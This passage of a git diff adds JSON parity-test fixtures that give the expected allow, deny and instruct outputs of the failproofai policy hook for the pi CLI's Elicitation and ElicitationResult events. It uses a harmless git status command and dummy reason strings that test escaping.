b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a7f430c7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..fb74d7e3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..884428f8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5d9312aa --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e68555b1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e8320505 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..984bfcd7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..406b4c07 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9362c41b --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..09fa96b9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..03fb8e3f --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..073f0b3f --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a8c8b95a --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..77d3bd2a --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6b7704b0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..bbc24011 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..99c1e71d --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8b2dbb8c --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bdec9e7f --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + 